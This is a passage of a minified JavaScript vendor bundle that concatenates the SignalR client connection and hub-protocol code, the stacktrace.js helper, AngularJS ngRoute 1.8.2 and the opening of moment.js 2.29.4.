${e[r]}.`)}else return this._logger.log(n.Debug,`Skipping transport '${f[o]}' because it was disabled by the client.`),new pt(`'${f[o]}' is disabled by the client.`,o)}_isITransport(n){return n&&typeof n=="object"&&"connect"in n}_stopConnection(t){if(this._logger.log(n.Debug,`HttpConnection.stopConnection(${t}) called while in state ${this._connectionState}.`),this.transport=undefined,t=this._stopError||t,this._stopError=undefined,this._connectionState==="Disconnected"){this._logger.log(n.Debug,`Call to HttpConnection.stopConnection(${t}) was ignored because the connection is already in the disconnected state.`);return}if(this._connectionState==="Connecting"){this._logger.log(n.Warning,`Call to HttpConnection.stopConnection(${t}) was ignored because the connection is still in the connecting state.`);throw new Error(`HttpConnection.stopConnection(${t}) was called while the connection is still in the connecting state.`);}if(this._connectionState==="Disconnecting"&&this._stopPromiseResolver(),t?this._logger.log(n.Error,`Connection disconnected with error '${t}'.`):this._logger.log(n.Information,"Connection disconnected."),this._sendQueue&&(this._sendQueue.stop().catch(t=>{this._logger.log(n.Error,`TransportSendQueue.stop() threw error '${t}'.`)}),this._sendQueue=undefined),this.connectionId=undefined,this._connectionState="Disconnected",this._connectionStarted){this._connectionStarted=!1;try{if(this.onclose)this.onclose(t)}catch(i){this._logger.log(n.Error,`HttpConnection.onclose(${t}) threw error '${i}'.`)}}}_resolveUrl(t){if(t.lastIndexOf("https://",0)===0||t.lastIndexOf("http://",0)===0)return t;if(!r.isBrowser)throw new Error(`Cannot resolve '${t}'.`);const i=window.document.createElement("a");return i.href=t,this._logger.log(n.Information,`Normalizing '${t}' to '${i.href}'.`),i.href}_resolveNegotiateUrl(n){const i=new URL(n);i.pathname+=i.pathname.endsWith("/")?"negotiate":"/negotiate";const t=new URLSearchParams(i.searchParams);return t.has("negotiateVersion")||t.append("negotiateVersion",this._negotiateVersion.toString()),t.has("useStatefulReconnect")?t.get("useStatefulReconnect")==="true"&&(this._options._useStatefulReconnect=!0):this._options._useStatefulReconnect===!0&&t.append("useStatefulReconnect","true"),i.search=t.toString(),i.toString()}}class at{constructor(n){this._transport=n;this._buffer=[];this._executing=!0;this._sendBufferedData=new g;this._transportResult=new g;this._sendLoopPromise=this._sendLoop()}send(n){return this._bufferData(n),this._transportResult||(this._transportResult=new g),this._transportResult.promise}stop(){return this._executing=!1,this._sendBufferedData.resolve(),this._sendLoopPromise}_bufferData(n){if(this._buffer.length&&typeof this._buffer[0]!=typeof n)throw new Error(`Expected data to be of type ${typeof this._buffer} but was of type ${typeof n}`);this._buffer.push(n);this._sendBufferedData.resolve()}async _sendLoop(){for(;;){if(await this._sendBufferedData.promise,!this._executing){this._transportResult&&this._transportResult.reject("Connection stopped.");break}this._sendBufferedData=new g;const n=this._transportResult;this._transportResult=undefined;const t=typeof this._buffer[0]=="string"?this._buffer.join(""):at._concatBuffers(this._buffer);this._buffer.length=0;try{await this._transport.send(t);n.resolve()}catch(i){n.reject(i)}}}static _concatBuffers(n){const r=n.map(n=>n.byteLength).reduce((n,t)=>n+t),t=new Uint8Array(r);let i=0;for(const r of n)t.set(new Uint8Array(r),i),i+=r.byteLength;return t.buffer}}class g{constructor(){this.promise=new Promise((n,t)=>[this._resolver,this._rejecter]=[n,t])}resolve(){this._resolver()}reject(n){this._rejecter(n)}}const gi="json";class vt{constructor(){this.name=gi;this.version=2;this.transferFormat=e.Text}parseMessages(i,r){if(typeof i!="string")throw new Error("Invalid input for JSON hub protocol. Expected a string.");if(!i)return[];r===null&&(r=v.instance);const f=s.parse(i),u=[];for(const i of f){const f=JSON.parse(i);if(typeof f.type!="number")throw new Error("Invalid payload.");switch(f.type){case t.Invocation:this._isInvocationMessage(f);break;case t.StreamItem:this._isStreamItemMessage(f);break;case t.Completion:this._isCompletionMessage(f);break;case t.Ping:break;case t.Close:break;case t.Ack:this._isAckMessage(f);break;case t.Sequence:this._isSequenceMessage(f);break;default:r.log(n.Information,"Unknown message type '"+f.type+"' ignored.");continue}u.push(f)}return u}writeMessage(n){return s.write(JSON.stringify(n))}_isInvocationMessage(n){this._assertNotEmptyString(n.target,"Invalid payload for Invocation message.");n.invocationId!==undefined&&this._assertNotEmptyString(n.invocationId,"Invalid payload for Invocation message.")}_isStreamItemMessage(n){if(this._assertNotEmptyString(n.invocationId,"Invalid payload for StreamItem message."),n.item===undefined)throw new Error("Invalid payload for StreamItem message.");}_isCompletionMessage(n){if(n.result&&n.error)throw new Error("Invalid payload for Completion message.");!n.result&&n.error&&this._assertNotEmptyString(n.error,"Invalid payload for Completion message.");this._assertNotEmptyString(n.invocationId,"Invalid payload for Completion message.")}_isAckMessage(n){if(typeof n.sequenceId!="number")throw new Error("Invalid SequenceId for Ack message.");}_isSequenceMessage(n){if(typeof n.sequenceId!="number")throw new Error("Invalid SequenceId for Sequence message.");}_assertNotEmptyString(n,t){if(typeof n!="string"||n==="")throw new Error(t);}}const nr={trace:n.Trace,debug:n.Debug,info:n.Information,information:n.Information,warn:n.Warning,warning:n.Warning,error:n.Error,critical:n.Critical,none:n.None};class ir{configureLogging(n){if(u.isRequired(n,"logging"),rr(n))this.logger=n;else if(typeof n=="string"){const t=tr(n);this.logger=new d(t)}else this.logger=new d(n);return this}withUrl(n,t){return u.isRequired(n,"url"),u.isNotEmpty(n,"url"),this.url=n,this.httpConnectionOptions=typeof t=="object"?{...this.httpConnectionOptions,...t}:{...this.httpConnectionOptions,transport:t},this}withHubProtocol(n){return u.isRequired(n,"protocol"),this.protocol=n,this}withAutomaticReconnect(n){if(this.reconnectPolicy)throw new Error("A reconnectPolicy has already been set.");return this.reconnectPolicy=n?Array.isArray(n)?new ht(n):n:new ht,this}withServerTimeout(n){return u.isRequired(n,"milliseconds"),this._serverTimeoutInMilliseconds=n,this}withKeepAliveInterval(n){return u.isRequired(n,"milliseconds"),this._keepAliveIntervalInMilliseconds=n,this}withStatefulReconnect(n){return this.httpConnectionOptions===undefined&&(this.httpConnectionOptions={}),this.httpConnectionOptions._useStatefulReconnect=!0,this._statefulReconnectBufferSize=n===null||n===void 0?void 0:n.bufferSize,this}build(){const n=this.httpConnectionOptions||{};if(n.logger===undefined&&(n.logger=this.logger),!this.url)throw new Error("The 'HubConnectionBuilder.withUrl' method must be called before building the connection.");const t=new ki(this.url,n);return it.create(t,this.logger||v.instance,this.protocol||new vt,this.reconnectPolicy,this._serverTimeoutInMilliseconds,this._keepAliveIntervalInMilliseconds,this._statefulReconnectBufferSize)}}return Uint8Array.prototype.indexOf||Object.defineProperty(Uint8Array.prototype,"indexOf",{value:Array.prototype.indexOf,writable:!0}),Uint8Array.prototype.slice||Object.defineProperty(Uint8Array.prototype,"slice",{value:function(n,t){return new Uint8Array(Array.prototype.slice.call(this,n,t))},writable:!0}),Uint8Array.prototype.forEach||Object.defineProperty(Uint8Array.prototype,"forEach",{value:Array.prototype.forEach,writable:!0}),b})()),function(n,t){typeof exports=="object"?module.exports=t():typeof define=="function"&&define.amd?define(t):n.printStackTrace=t()}(this,function(){function n(t){t=t||{guess:!0};var u=t.e||null,f=!!t.guess,e=t.mode||null,i=new n.implementation,r=i.run(u,e);return f?i.guessAnonymousFunctions(r):r}return n.implementation=function(){},n.implementation.prototype={run:function(n,t){return n=n||this.createException(),t=t||this.mode(n),t==="other"?this.other(arguments.callee):this[t](n)},createException:function(){try{this.undef()}catch(n){return n}},mode:function(n){return typeof window!="undefined"&&window.navigator.userAgent.indexOf("PhantomJS")>-1?"phantomjs":n.arguments&&n.stack?"chrome":n.stack&&n.sourceURL?"safari":n.stack&&n.number?"ie":n.stack&&n.fileName?"firefox":n.message&&n["opera#sourceloc"]?n.stacktrace?n.message.indexOf("\n")>-1&&n.message.split("\n").length>n.stacktrace.split("\n").length?"opera9":"opera10a":"opera9":n.message&&n.stack&&n.stacktrace?n.stacktrace.indexOf("called from line")<0?"opera10b":"opera11":n.stack&&!n.fileName?"chrome":"other"},instrumentFunction:function(t,i,r){t=t||window;var u=t[i];t[i]=function(){return r.call(this,n().slice(4)),t[i]._instrumented.apply(this,arguments)};t[i]._instrumented=u},deinstrumentFunction:function(n,t){n[t].constructor===Function&&n[t]._instrumented&&n[t]._instrumented.constructor===Function&&(n[t]=n[t]._instrumented)},chrome:function(n){return(n.stack+"\n").replace(/^[\s\S]+?\s+at\s+/," at ").replace(/^\s+(at eval )?at\s+/gm,"").replace(/^([^\(]+?)([\n$])/gm,"{anonymous}() ($1)$2").replace(/^Object.<anonymous>\s*\(([^\)]+)\)/gm,"{anonymous}() ($1)").replace(/^(.+) \((.+)\)$/gm,"$1@$2").split("\n").slice(0,-1)},safari:function(n){return n.stack.replace(/\[native code\]\n/m,"").replace(/^(?=\w+Error\:).*$\n/m,"").replace(/^@/gm,"{anonymous}()@").split("\n")},ie:function(n){return n.stack.replace(/^\s*at\s+(.*)$/gm,"$1").replace(/^Anonymous function\s+/gm,"{anonymous}() ").replace(/^(.+)\s+\((.+)\)$/gm,"$1@$2").split("\n").slice(1)},firefox:function(n){return n.stack.replace(/(?:\n@:0)?\s+$/m,"").replace(/^(?:\((\S*)\))?@/gm,"{anonymous}($1)@").split("\n")},opera11:function(n){for(var t,e,r,u=n.stacktrace.split("\n"),f=[],i=0,o=u.length;i<o;i+=2)t=/^.*line (\d+), column (\d+)(?: in (.+))? in (\S+):$/.exec(u[i]),t&&(e=t[4]+":"+t[1]+":"+t[2],r=t[3]||"global code",r=r.replace(/<anonymous function: (\S+)>/,"$1").replace(/<anonymous function>/,"{anonymous}"),f.push(r+"@"+e+" -- "+u[i+1].replace(/^\s+/,"")));return f},opera10b:function(n){for(var t,f,r=n.stacktrace.split("\n"),u=[],i=0,e=r.length;i<e;i++)t=/^(.*)@(.+):(\d+)$/.exec(r[i]),t&&(f=t[1]?t[1]+"()":"global code",u.push(f+"@"+t[2]+":"+t[3]));return u},opera10a:function(n){for(var t,f,r=n.stacktrace.split("\n"),u=[],i=0,e=r.length;i<e;i+=2)t=/Line (\d+).*script (?:in )?(\S+)(?:: In function (\S+))?$/i.exec(r[i]),t&&(f=t[3]||"{anonymous}",u.push(f+"()@"+t[2]+":"+t[1]+" -- "+r[i+1].replace(/^\s+/,"")));return u},opera9:function(n){for(var i,r=n.message.split("\n"),u=[],t=2,f=r.length;t<f;t+=2)i=/Line (\d+).*script (?:in )?(\S+)/i.exec(r[t]),i&&u.push("{anonymous}()@"+i[2]+":"+i[1]+" -- "+r[t+1].replace(/^\s+/,""));return u},phantomjs:function(n){for(var r,i=n.stack.split("\n"),u=[],t=1,f=i.length;t<f;t++)i[t]=i[t].replace(/^\s+at\s+/gm,""),r=/(\S+) \((\S+)\)/i.exec(i[t]),r?u.push(r[1]+"()@"+r[2]):u.push("{anonymous}()@"+i[t]);return u},other:function(n){for(var r="{anonymous}",t=[],u,i,e=Array.prototype.slice;n&&t.length<10;){u=/function(?:\s+([\w$]+))?\s*\(/.test(n.toString())?RegExp.$1||r:r;try{i=e.call(n.arguments||[])}catch(f){i=["Cannot access arguments: "+f]}t[t.length]=u+"("+this.stringifyArguments(i)+")";try{n=n.caller}catch(f){t[t.length]="Cannot access caller: "+f;break}}return t},stringifyArguments:function(n){for(var t,r=[],u=Array.prototype.slice,i=0;i<n.length;++i)t=n[i],t===undefined?r[i]="undefined":t===null?r[i]="null":t.constructor&&(r[i]=t.constructor===Array?t.length<3?"["+this.stringifyArguments(t)+"]":"["+this.stringifyArguments(u.call(t,0,1))+"..."+this.stringifyArguments(u.call(t,-1))+"]":t.constructor===Object?"#object":t.constructor===Function?"#function":t.constructor===String?'"'+t+'"':t.constructor===Number?t:"?");return r.join(",")},sourceCache:{},ajax:function(n){var t=this.createXMLHTTPObject();if(t)try{return t.open("GET",n,!1),t.send(null),t.responseText}catch(i){}return""},createXMLHTTPObject:function(){for(var i,t=[function(){return new XMLHttpRequest},function(){return new ActiveXObject("Msxml2.XMLHTTP")},function(){return new ActiveXObject("Msxml3.XMLHTTP")},function(){return new ActiveXObject("Microsoft.XMLHTTP")}],n=0;n<t.length;n++)try{return i=t[n](),this.createXMLHTTPObject=t[n],i}catch(r){}},isSameDomain:function(n){return typeof location!="undefined"&&n.indexOf(location.hostname)!==-1},getSource:function(n){return n in this.sourceCache||(this.sourceCache[n]=this.ajax(n).split("\n")),this.sourceCache[n]},guessAnonymousFunctions:function(n){for(var i,o,t=0;t<n.length;++t){var u=n[t],f=/\{anonymous\}\(.*\)@(.*)/.exec(u);if(f&&(i=/^(.*?)(?::(\d+))(?::(\d+))?(?: -- .+)?$/.exec(f[1]),i)){var r=i[1],e=i[2],s=i[3]||0;r&&this.isSameDomain(r)&&e&&(o=this.guessAnonymousFunction(r,e,s),n[t]=u.replace("{anonymous}",o))}}return n},guessAnonymousFunction:function(n,t){var i;try{i=this.findFunctionName(this.getSource(n),t)}catch(r){i="getSource failed with url: "+n+", exception: "+r.toString()}return i},findFunctionName:function(n,t){for(var u="",r,o=Math.min(t,20),i,f,e=0;e<o;++e)if(r=n[t-e-1],f=r.indexOf("//"),f>=0&&(r=r.substr(0,f)),r&&((u=r+u,i=/['"]?([$_A-Za-z][$_A-Za-z0-9]*)['"]?\s*[:=]\s*function\b/.exec(u),i&&i[1])||(i=/function\s+([^(]*?)\s*\(([^)]*)\)/.exec(u),i&&i[1])||(i=/['"]?([$_A-Za-z][$_A-Za-z0-9]*)['"]?\s*[:=]\s*(?:eval|new Function)\b/.exec(u),i&&i[1])))return i[1];return"(?)"}},n}),function(n,t){"use strict";function u(n,t){var r=[],i=n.replace(/([().])/g,"\\$1").replace(/(\/)?:(\w+)(\*\?|[?*])?/g,function(n,t,i,u){return n="?"===u||"*?"===u,u="*"===u||"*?"===u,r.push({name:i,optional:n}),t=t||"",(n?"(?:"+t:t+"(?:")+(u?"(.+?)":"([^/]+)")+(n?"?)?":")")}).replace(/([/$*])/g,"\\$1");return t.ignoreTrailingSlashes&&(i=i.replace(/\/+$/,"")+"/*"),{keys:r,regexp:new RegExp("^"+i+"(?:[?#]|$)",t.caseInsensitiveMatch?"i":"")}}function f(n){i&&n.get("$route")}function e(n,i,r){return{restrict:"ECA",terminal:!0,priority:400,transclude:"element",link:function(u,f,e,o,s){function v(){c&&(r.cancel(c),c=null);h&&(h.$destroy(),h=null);l&&(c=r.leave(l),c.done(function(n){!1!==n&&(c=null)}),l=null)}function y(){var e=n.current&&n.current.locals,o;t.isDefined(e&&e.$template)?(e=u.$new(),o=n.current,l=s(e,function(n){r.enter(n,null,l||f).done(function(n){!1!==n&&t.isDefined(a)&&(!a||u.$eval(a))&&i()});v()}),h=o.scope=e,h.$emit("$viewContentLoaded"),h.$eval(p)):v()}var h,l,c,a=e.autoscroll,p=e.onload||"";u.$on("$routeChangeSuccess",y);y()}}}function o(n,t,i){return{restrict:"ECA",priority:-400,link:function(r,u){var f=i.current,e=f.locals,s,o;u.html(e.$template);s=n(u.contents());f.controller&&(e.$scope=r,o=t(f.controller,e),f.controllerAs&&(r[f.controllerAs]=o),u.data("$ngControllerController",o),u.children().data("$ngControllerController",o));r[f.resolveAs||"$resolve"]=e;s(r)}}}var s,h,c,l,r=t.module("ngRoute",[]).info({angularVersion:"1.8.2"}).provider("$route",function(){function r(n,i){return t.extend(Object.create(n),i)}s=t.isArray;h=t.isObject;c=t.isDefined;l=t.noop;var n={};this.when=function(i,r){var f,e,o;if(f=void 0,s(r))for(f=f||[],e=0,o=r.length;e<o;e++)f[e]=r[e];else if(h(r))for(e in f=f||{},r)("$"!==e.charAt(0)||"$"!==e.charAt(1))&&(f[e]=r[e]);return f=f||r,t.isUndefined(f.reloadOnUrl)&&(f.reloadOnUrl=!0),t.isUndefined(f.reloadOnSearch)&&(f.reloadOnSearch=!0),t.isUndefined(f.caseInsensitiveMatch)&&(f.caseInsensitiveMatch=this.caseInsensitiveMatch),n[i]=t.extend(f,{originalPath:i},i&&u(i,f)),i&&(e="/"===i[i.length-1]?i.substr(0,i.length-1):i+"/",n[e]=t.extend({originalPath:i,redirectTo:i},u(e,f))),this};this.caseInsensitiveMatch=!1;this.otherwise=function(n){return"string"==typeof n&&(n={redirectTo:n}),this.when(null,n),this};i=!0;this.eagerInstantiationEnabled=function(n){return c(n)?(i=n,this):i};this.$get=["$rootScope","$location","$routeParams","$q","$injector","$templateRequest","$sce","$browser",function(i,u,f,e,o,s,h,c){function w(n){var r=y.current;v=rt();!(d=!p&&v&&r&&v.$$route===r.$$route&&(!v.reloadOnUrl||!v.reloadOnSearch&&t.equals(v.pathParams,r.pathParams)))&&(r||v)&&i.$broadcast("$routeChangeStart",v,r).defaultPrevented&&n&&n.preventDefault()}function b(){var r=y.current,n=v,u;d?(r.params=n.params,t.copy(r.params,f),i.$broadcast("$routeUpdate",r)):(n||r)&&(p=!1,y.current=n,u=e.resolve(n),c.$$incOutstandingRequestCount("$route"),u.then(g).then(nt).then(function(e){return e&&u.then(tt).then(function(u){n===y.current&&(n&&(n.locals=u,t.copy(n.params,f)),i.$broadcast("$routeChangeSuccess",n,r))})}).catch(function(t){n===y.current&&i.$broadcast("$routeChangeError",n,r,t)}).finally(function(){c.$$completeOutstandingRequest(l,"$route")}))}function g(n){var i={route:n,hasRedirection:!1},r,f;if(n)if(n.redirectTo)t.isString(n.redirectTo)?(i.path=k(n.redirectTo,n.params),i.search=n.params,i.hasRedirection=!0):(r=u.path(),f=u.search(),n=n.redirectTo(n.pathParams,r,f),t.isDefined(n)&&(i.url=n,i.hasRedirection=!0));else if(n.resolveRedirectTo)return e.resolve(o.invoke(n.resolveRedirectTo)).then(function(n){return t.isDefined(n)&&(i.url=n,i.hasRedirection=!0),i});return i}function nt(n){var i=!0,r,t;return n.route!==y.current?i=!1:n.hasRedirection&&(r=u.url(),t=n.url,t?u.url(t).replace():t=u.path(n.path).search(n.search).replace().url(),t!==r&&(i=!1)),i}function tt(n){if(n){var i=t.extend({},n.resolve);return t.forEach(i,function(n,r){i[r]=t.isString(n)?o.get(n):o.invoke(n,null,null,r)}),n=it(n),t.isDefined(n)&&(i.$template=n),e.all(i)}}function it(n){var r,i;return t.isDefined(r=n.template)?t.isFunction(r)&&(r=r(n.params)):t.isDefined(i=n.templateUrl)&&(t.isFunction(i)&&(i=i(n.params)),t.isDefined(i)&&(n.loadedTemplateUrl=h.valueOf(i),r=s(i))),r}function rt(){var f,i;return t.forEach(n,function(n){var e,o,h,s,a,c,l;if(e=!i){if(o=u.path(),e=n.keys,h={},n.regexp)if(o=n.regexp.exec(o)){for(s=1,a=o.length;s<a;++s)c=e[s-1],l=o[s],c&&l&&(h[c.name]=l);e=h}else e=null;else e=null;e=f=e}e&&(i=r(n,{params:t.extend({},u.search(),f),pathParams:f}),i.$$route=n)}),i||n[null]&&r(n[null],{params:{},pathParams:{}})}function k(n,i){var r=[];return t.forEach((n||"").split(":"),function(n,t){if(0===t)r.push(n);else{var u=n.match(/(\w+)(?:[?*])?(.*)/),f=u[1];r.push(i[f]);r.push(u[2]||"");delete i[f]}}),r.join("")}var p=!1,v,d,y={routes:n,reload:function(){p=!0;var n={defaultPrevented:!1,preventDefault:function(){this.defaultPrevented=!0;p=!1}};i.$evalAsync(function(){w(n);n.defaultPrevented||b()})},updateParams:function(n){if(this.current&&this.current.$$route)n=t.extend({},this.current.params,n),u.path(k(this.current.$$route.originalPath,n)),u.search(n);else throw a("norout");}};return i.$on("$locationChangeStart",w),i.$on("$locationChangeSuccess",b),y}]}).run(f),a=t.$$minErr("ngRoute"),i;f.$inject=["$injector"];r.provider("$routeParams",function(){this.$get=function(){return{}}});r.directive("ngView",e);r.directive("ngView",o);e.$inject=["$route","$anchorScroll","$animate"];o.$inject=["$compile","$controller","$route"]}(window,window.angular);
//! moment.js
//! version : 2.29.4
//! authors : Tim Wood, Iskren Chernev, Moment.js contributors
//! license : MIT
//! momentjs.com
!function(n,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):n.moment=t()}(this,function(){"use strict";function t(){return gf.apply(null,arguments)}function it(n){return n instanceof Array||"[object Array]"===Object.prototype.toString.call(n)}function ii(n){return null!=n&&"[object Object]"===Object.prototype.toString.call(n)}function s(n,t){return Object.prototype.hasOwnProperty.call(n,t)}function au(n){if(Object.getOwnPropertyNames)return 0===Object.getOwnPropertyNames(n).length;for(var t in n)if(s(n,t))return;return 1}function k(n){return void 0===n}function lt(n){return"number"==typeof n||"[object Number]"===Object.prototype.toString.call(n)}function nr(n){return n instanceof Date||"[object Date]"===Object.prototype.toString.call(n)}function ne(n,t){for(var r=[],u=n.length,i=0;i<u;++i)r.push(t(n[i],i));return r}function dt(n,t){for(var i in t)s(t,i)&&(n[i]=t[i]);return s(t,"toString")&&(n.toString=t.toString),s(t,"valueOf")&&(n.valueOf=t.valueOf),n}function et(n,t,i,r){return to(n,t,i,r,!0).utc()}function f(n){return null==n._pf&&(n._pf={empty:!1,unusedTokens:[],unusedInput:[],overflow:-2,charsLeftOver:0,nullInput:!1,invalidEra:null,invalidMonth:null,invalidFormat:!1,userInvalidated:!1,iso:!1,parsedDateParts:[],era:null,meridiem:null,rfc2822:!1,weekdayMismatch:!1}),n._pf}function vu(n){if(null==n._isValid){var t=f(n),i=is.call(t.parsedDateParts,function(n){return null!=n}),i=!isNaN(n._d.getTime())&&t.overflow<0&&!t.empty&&!t.invalidEra&&!t.invalidMonth&&!t.invalidWeekday&&!t.weekdayMismatch&&!t.nullInput&&!t.invalidFormat&&!t.userInvalidated&&(!t.meridiem||t.meridiem&&i);if(n._strict&&(i=i&&0===t.charsLeftOver&&0===t.unusedTokens.length&&void 0===t.bigHour),null!=Object.isFrozen&&Object.isFrozen(n))return i;n._isValid=i}return n._isValid}function cr(n){var t=et(NaN);return null!=n?dt(f(t),n):f(t).userInvalidated=!0,t}function pu(n,t){var i,r,u,e=te.length;if(k(t._isAMomentObject)||(n._isAMomentObject=t._isAMomentObject),k(t._i)||(n._i=t._i),k(t._f)||(n._f=t._f),k(t._l)||(n._l=t._l),k(t._strict)||(n._strict=t._strict),k(t._tzm)||(n._tzm=t._tzm),k(t._isUTC)||(n._isUTC=t._isUTC),k(t._offset)||(n._offset=t._offset),k(t._pf)||(n._pf=f(t)),k(t._locale)||(n._locale=t._locale),0<e)for(i=0;i<e;i++)k(u=t[r=te[i]])||(n[r]=u);return n}function tr(n){pu(this,n);this._d=new Date(null!=n._d?n._d.getTime():NaN);this.isValid()||(this._d=new Date(NaN));!1===yu&&(yu=!0,t.updateOffset(this),yu=!1)}function rt(n){return n instanceof tr||null!=n&&null!=n._isAMomentObject}function ie(n){!1===t.suppressDeprecationWarnings&&"undefined"!=typeof console&&console.warn&&console.warn("Deprecation warning: "+n)}function g(n,i){var r=!0;return dt(function(){if(null!=t.deprecationHandler&&t.deprecationHandler(null,n),r){for(var u,e,o=[],h=arguments.length,f=0;f<h;f++){if(u="","object"==typeof arguments[f]){for(e in u+="\n["+f+"] ",arguments[0])s(arguments[0],e)&&(u+=e+": "+arguments[0][e]+", ");u=u.slice(0,-2)}else u=arguments[f];o.push(u)}ie(n+"\nArguments: "+Array.prototype.slice.call(o).join("")+"\n"+(new Error).stack);r=!1}return i.apply(this,arguments)},i)}function ue(n,i){null!=t.deprecationHandler&&t.deprecationHandler(n,i);re[n]||(ie(i),re[n]=!0)}function ot(n){return"undefined"!=typeof Function&&n instanceof Function||"[object Function]"===Object.prototype.toString.call(n)}function wu(n,t){var i,r=dt({},n);for(i in t)s(t,i)&&(ii(n[i])&&ii(t[i])?(r[i]={},dt(r[i],n[i]),dt(r[i],t[i])):null!=t[i]?r[i]=t[i]:delete r[i]);for(i in n)s(n,i)&&!s(t,i)&&ii(n[i])&&(r[i]=dt({},r[i]));return r}function bu(n){null!=n&&this.set(n)}function st(n,t,i){var r=""+Math.abs(n);return(0<=n?i?"+":"":"-")+Math.pow(10,Math.max(0,t-r.length)).toString().substr(1)+r}function r(n,t,i,r){var u="string"==typeof r?function(){return this[r]()}:r;n&&(hi[n]=u);t&&(hi[t[0]]=function(){return st(u.apply(this,arguments),t[1],t[2])});i&&(hi[i]=function(){return this.localeData().ordinal(u.apply(this,arguments),n)})}function ar(n,t){return n.isValid()?(t=ee(t,n.localeData()),du[t]=du[t]||function(n){for(var r,t=n.match(ku),i=0,u=t.length;i<u;i++)t[i]=hi[t[i]]?hi[t[i]]:(r=t[i]).match(/\[[\s\S]/)?r.replace(/^\[|\]$/g,""):r.replace(/\\/g,"");return function(i){for(var f="",r=0;r<u;r++)f+=ot(t[r])?t[r].call(i,n):t[r];return f}}(t),du[t](n)):n.localeData().invalidDate()}function ee(n,t){function r(n){return t.longDateFormat(n)||n}var i=5;for(lr.lastIndex=0;0<=i&&lr.test(n);)n=n.replace(lr,r),lr.lastIndex=0,--i;return n}function p(n,t){var i=n.toLowerCase();ci[i]=ci[i+"s"]=ci[t]=n}function nt(n){if("string"==typeof n)return ci[n]||ci[n.toLowerCase()]}function gu(n){var i,t,r={};for(t in n)s(n,t)&&(i=nt(t))&&(r[i]=n[t]);return r}function w(n,t){nf[n]=t}function vr(n){return n%4==0&&n%100!=0||n%400==0}function tt(n){return n<0?Math.ceil(n)||0:Math.floor(n)}function e(n){var n=+n;return 0!=n&&isFinite(n)?tt(n):0}function li(n,i){return function(r){return null!=r?(oe(this,n,r),t.updateOffset(this,i),this):yr(this,n)}}function yr(n,t){return n.isValid()?n._d["get"+(n._isUTC?"UTC":"")+t]():NaN}function oe(n,t,i){n.isValid()&&!isNaN(i)&&("FullYear"===t&&vr(n.year())&&1===n.month()&&29===n.date()?(i=e(i),n._d["set"+(n._isUTC?"UTC":"")+t](i,n.month(),gr(i,n.month()))):n._d["set"+(n._isUTC?"UTC":"")+t](i))}function i(n,t,i){kr[n]=ot(t)?t:function(n){return n&&i?i:t}}function us(n,t){return s(kr,n)?kr[n](t._strict,t._locale):new RegExp(d(n.replace("\\","").replace(/\\(\[)|\\(\])|\[([^\]\[]*)\]|\\(.)/g,function(n,t,i,r,u){return t||i||r||u})))}function d(n){return n.replace(/[-\/\\^$*+?.()|[\]{}]/g,"\\$&")}function h(n,t){var i,r,u=t;for("string"==typeof n&&(n=[n]),lt(t)&&(u=function(n,i){i[t]=e(n)}),r=n.length,i=0;i<r;i++)dr[n[i]]=u}function ir(n,t){h(n,function(n,i,r,u){r._w=r._w||{};t(n,r._w,r,u)})}function gr(n,t){if(isNaN(n)||isNaN(t))return NaN;var i=(t%(i=12)+i)%i;return n+=(t-i)/12,1==i?vr(n)?29:28:31-i%7%2}function ce(n,t){var i;if(n.isValid()){if("string"==typeof t)if(/^\d+$/.test(t))t=e(t);else if(!lt(t=n.localeData().monthsParse(t)))return;i=Math.min(n.date(),gr(n.year(),t));n._d["set"+(n._isUTC?"UTC":"")+"Month"](t,i)}}function le(n){return null!=n?(ce(this,n),t.updateOffset(this,!0),this):yr(this,"Month")}function ae(){function f(n,t){return t.length-n.length}for(var i,r=[],u=[],t=[],n=0;n<12;n++)i=et([2e3,n]),r.push(this.monthsShort(i,"")),u.push(this.months(i,"")),t.push(this.months(i,"")),t.push(this.monthsShort(i,""));for(r.sort(f),u.sort(f),t.sort(f),n=0;n<12;n++)r[n]=d(r[n]),u[n]=d(u[n]);for(n=0;n<24;n++)t[n]=d(t[n]);this._monthsRegex=new RegExp("^("+t.join("|")+")","i");this._monthsShortRegex=this._monthsRegex;this._monthsStrictRegex=new RegExp("^("+u.join("|")+")","i");this._monthsShortStrictRegex=new RegExp("^("+r.join("|")+")","i")}function ur(n){return vr(n)?366:365}function hs(n,t,i,r,u,f,e){var o;return n<100&&0<=n?(o=new Date(n+400,t,i,r,u,f,e),isFinite(o.getFullYear())&&o.setFullYear(n)):o=new Date(n,t,i,r,u,f,e),o}function fr(n){var t;return n<100&&0<=n?((t=Array.prototype.slice.call(arguments))[0]=n+400,t=new Date(Date.UTC.apply(null,t)),isFinite(t.getUTCFullYear())&&t.setUTCFullYear(n)):t=new Date(Date.UTC.apply(null,arguments)),t}function tu(n,t,i){return i=7+t-i,i-(7+fr(n,0,i).getUTCDay()-t)%7-1}function ve(n,t,i,r,u){var f,t=1+7*(t-1)+(7+i-r)%7+tu(n,r,u),i=t<=0?ur(f=n-1)+t:t>ur(n)?(f=n+1,t-ur(n)):(f=n,t);return{year:f,dayOfYear:i}}function er(n,t,i){var u,f,r=tu(n.year(),t,i),r=Math.floor((n.dayOfYear()-r-1)/7)+1;return r<1?u=r+pt(f=n.year()-1,t,i):r>pt(n.year(),t,i)?(u=r-pt(n.year(),t,i),f=n.year()+1):(f=n.year(),u=r),{week:u,year:f}}function pt(n,t,i){var r=tu(n,t,i),t=tu(n+1,t,i);return(ur(n)-r+t)/7}function tf(n,t){return n.slice(t,7).concat(n.slice(0,t))}function rf(){function i(n,t){return t.length-n.length}for(var r,u,n,f=[],e=[],o=[],t=[],s=0;s<7;s++)n=et([2e3,1]).day(s),r=d(this.weekdaysMin(n,"")),u=d(this.weekdaysShort(n,"")),n=d(this.weekdays(n,"")),f.push(r),e.push(u),o.push(n),t.push(r),t.push(u),t.push(n);f.sort(i);e.sort(i);o.sort(i);t.sort(i);this._weekdaysRegex=new RegExp("^("+t.join("|")+")","i");this._weekdaysShortRegex=this._weekdaysRegex;this._weekdaysMinRegex=this._weekdaysRegex;this._weekdaysStrictRegex=new RegExp("^("+o.join("|")+")","i");this._weekdaysShortStrictRegex=new RegExp("^("+e.join("|")+")","i");this._weekdaysMinStrictRegex=new RegExp("^("+f.join("|")+")","i")}function uf(){return this.hours()%12||12}function pe(n,t){r(n,0,0,function(){return this.localeData().meridiem(this.hours(),this.minutes(),t)})}function we(n,t){return t._meridiemParse}function ke(n){return n&&n.toLowerCase().replace("_","-")}function vs(n){for(var 